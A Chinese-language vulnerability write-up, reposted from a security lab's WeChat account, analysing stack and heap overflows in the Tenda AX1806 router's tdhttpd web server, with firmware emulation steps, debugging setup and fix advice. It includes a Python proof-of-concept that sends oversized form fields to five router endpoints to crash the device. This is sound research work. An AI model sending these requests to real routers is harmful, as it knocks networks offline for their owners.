Tenda-AX1806路由器多处栈溢出漏洞分析

admin 2022年5月18日11:38:32安全漏洞评论49 views2947字阅读9分49秒阅读模式

Tenda AX1806路由器固件版本 v1.0.0.1,存在多处栈溢出漏洞,漏洞点在 tdhttpd 二进制文件中,使用了危险函数 strcpy前未对参数长度进行判断,导致拒绝服务漏洞。

Tenda-AX1806路由器多处栈溢出漏洞分析


  • CVE信息


通过公布的漏洞编号,得知CVE编号为CVE-2022-28971、CVE-2022-28972、CVE-2022-28970、CVE-2022-28969、CVE-2022-28973。在CVE网站中查询相关信息,得到漏洞相关信息,基本上都是溢出类漏洞:


  • 漏洞分析


在官网下载固件(下载链接在文末),使用 binwalk 解包固件(需要用到ubi_reader),得到 ubifs 文件系统:

Tenda-AX1806路由器多处栈溢出漏洞分析

查询收集CVE信息,得知漏洞点在于 fromAdvSetMacMtuWan 、form_fast_setting_wifi_set 、fromSetIpMacBind、GetParentControlInfo、fromSetWifiGusetBasic 函数中。对于这种路由器系统来说,路由器一般都是通过httpd 服务来运行路由器管理页面,用户在修改路由器配置时直接在管理页面上提交数据,交给 httpd 服务程序处理,所以可以在固件系统中查找 httpd 相关文件然后分析。使用grep -r httpd . 命令在 ./bin 文件夹下查找到一个tdhttpd 可执行程序:

Tenda-AX1806路由器多处栈溢出漏洞分析

将 tdhttpd 放入IDA查看,ARM 32位小端,文件没有去掉符号,很容易分析。接下来分析上面提到的几个漏洞函数。fromAdvSetMacMtuWan内调用函数 sub_658D8,sub_658D8内字符串拷贝前未对输入参数做长度判断:

Tenda-AX1806路由器多处栈溢出漏洞分析

form_fast_setting_wifi_set 函数在处理 timeZone参数时未对长度进行判断:

Tenda-AX1806路由器多处栈溢出漏洞分析

fromSetIpMacBind就更离谱了,未对长度进行判断,无论如何都将内容拷贝到v20变量中:

Tenda-AX1806路由器多处栈溢出漏洞分析

 GetParentControlInfo 函数在拷贝到堆块时未对长度进行判断,导致堆溢出:

Tenda-AX1806路由器多处栈溢出漏洞分析

fromSetWifiGusetBasic 函数也是没有判断参数长度直接进行拷贝:

Tenda-AX1806路由器多处栈溢出漏洞分析



  • 动态调试


使用 sudo qemu-arm-static -L ../bin/tdhttpd模拟运行固件,运行时监听了80端口,但无法访问页面:

Tenda-AX1806路由器多处栈溢出漏洞分析

这个是因为IP地址不对,可以另起一个终端查看80端口的IP地址:

Tenda-AX1806路由器多处栈溢出漏洞分析

这时候需要新建一个网桥:

sudo apt install uml-utilities bridge-utils
 sudo brctl addbr br0
 sudo brctl addif br0 ens33
 sudo ifconfig br0 up
 sudo dhclient br0

新建网桥后除了本地网卡 ens33 以外多了一个 br0 网卡:

Tenda-AX1806路由器多处栈溢出漏洞分析

Tenda-AX1806路由器多处栈溢出漏洞分析

然后安装 arm 环境的 libc,把 qemu-arm-static 拷贝到固件根文件夹下,再次运行 httpd 服务,就可以模拟成功并访问页面了:

sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
 cp $(which qemu-arm-static) .
 sudo chroot ./ ./qemu-arm-static  ./bin/tdhttpd

Tenda-AX1806路由器多处栈溢出漏洞分析

虽然能模拟部分页面,但是 Wi-Fi 功能是不能用的,因为 Wi-Fi 功能需要独立的硬件来支持,所以如果要测试 Wi-Fi 功能相关的接口,还是需要购买路由器才行。由于我是纯模拟,没有购买路由器,所以测试接口的时候参考了公布的PoC代码,这里模拟固件只是方便复现调试。Poc代码如下:

import requests
 
 def CVE_2022_28970():
      data = {
          b"mac": b"A"*0x400
      }
      res = requests.post("http://172.16.96.20/goform/GetParentControlInfo", data=data)
     print(res.content)
 
 def CVE_2022_28973():
      data = {
          b"wanMTU": b'A'*0x800,
      }
      res = requests.post("http://172.16.96.20/goform/AdvSetMacMtuWan", data=data)
     print(res.content)
 
 def CVE_2022_28969():
      data = {
          b"shareSpeed": b'A'*0x800
      }
      res = requests.post("http://172.16.96.20/goform/WifiGuestSet", data=data)
     print(res.content)
 
 def CVE_2022_28971():
      data = {
          b"list": b'A'*0x800,
          b"bindnum": b"1"
      }
      res = requests.post("http://172.16.96.20/goform/SetIpMacBind", data=data)
     print(res.content)
 
 def CVE_2022_28972():
      data = {
          b"ssid": b'A',
          b"timeZone": payload.ljust(0x100,b'A') +b":"+b"A"*0x400
      }
      res = requests.post("http://172.16.96.20/goform/fast_setting_wifi_set", data=data)
     print(res.content)
 
 CVE_2022_28971()

可以使用 gdb-multiarch 来动态调试Poc,只需要在qemu运行时加上调试参数。qemu运行命令如下:

sudo chroot ./ ./qemu-arm-static ./bin/tdhttpd

调试脚本如下:

gdb-multiarch \
     -ex  "target remote :1234" \
     -ex  "python set_arch(\"arm\")" \
     -ex  "b *($1)" \

执行Poc,因为栈中返回地址被覆盖,最后会返回段错误信息,qemu 崩溃退出。但如果在实际过程中,路由器就已经宕机了:

Tenda-AX1806路由器多处栈溢出漏洞分析

因为是 strcpy对字符串进行拷贝,遇到空字符会截断,所以无法构造地址进行利用,只能达到拒绝服务的攻击目的。


  • 漏洞修复思路


总结下来就是使用危险函数 strcpy前未对参数进行长度判断,导致栈溢出。可将 strcpy函数替换为 strncpy函数控制拷贝字符长度,或者在使用 strcpy前对长度进行判断。


  • Reference


AX1806 升级软件_腾达(Tenda)官方网站
IoT-vuln/Tenda/AX1806 at main ·d1tto/IoT-vuln
写给初学者的IoT实战教程之ARM栈溢出

Tenda-AX1806路由器多处栈溢出漏洞分析

原文始发于微信公众号(山石网科安全技术研究院):Tenda-AX1806路由器多处栈溢出漏洞分析

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月18日11:38:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Tenda-AX1806路由器多处栈溢出漏洞分析 http://cn-sec.com/archives/1017581.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: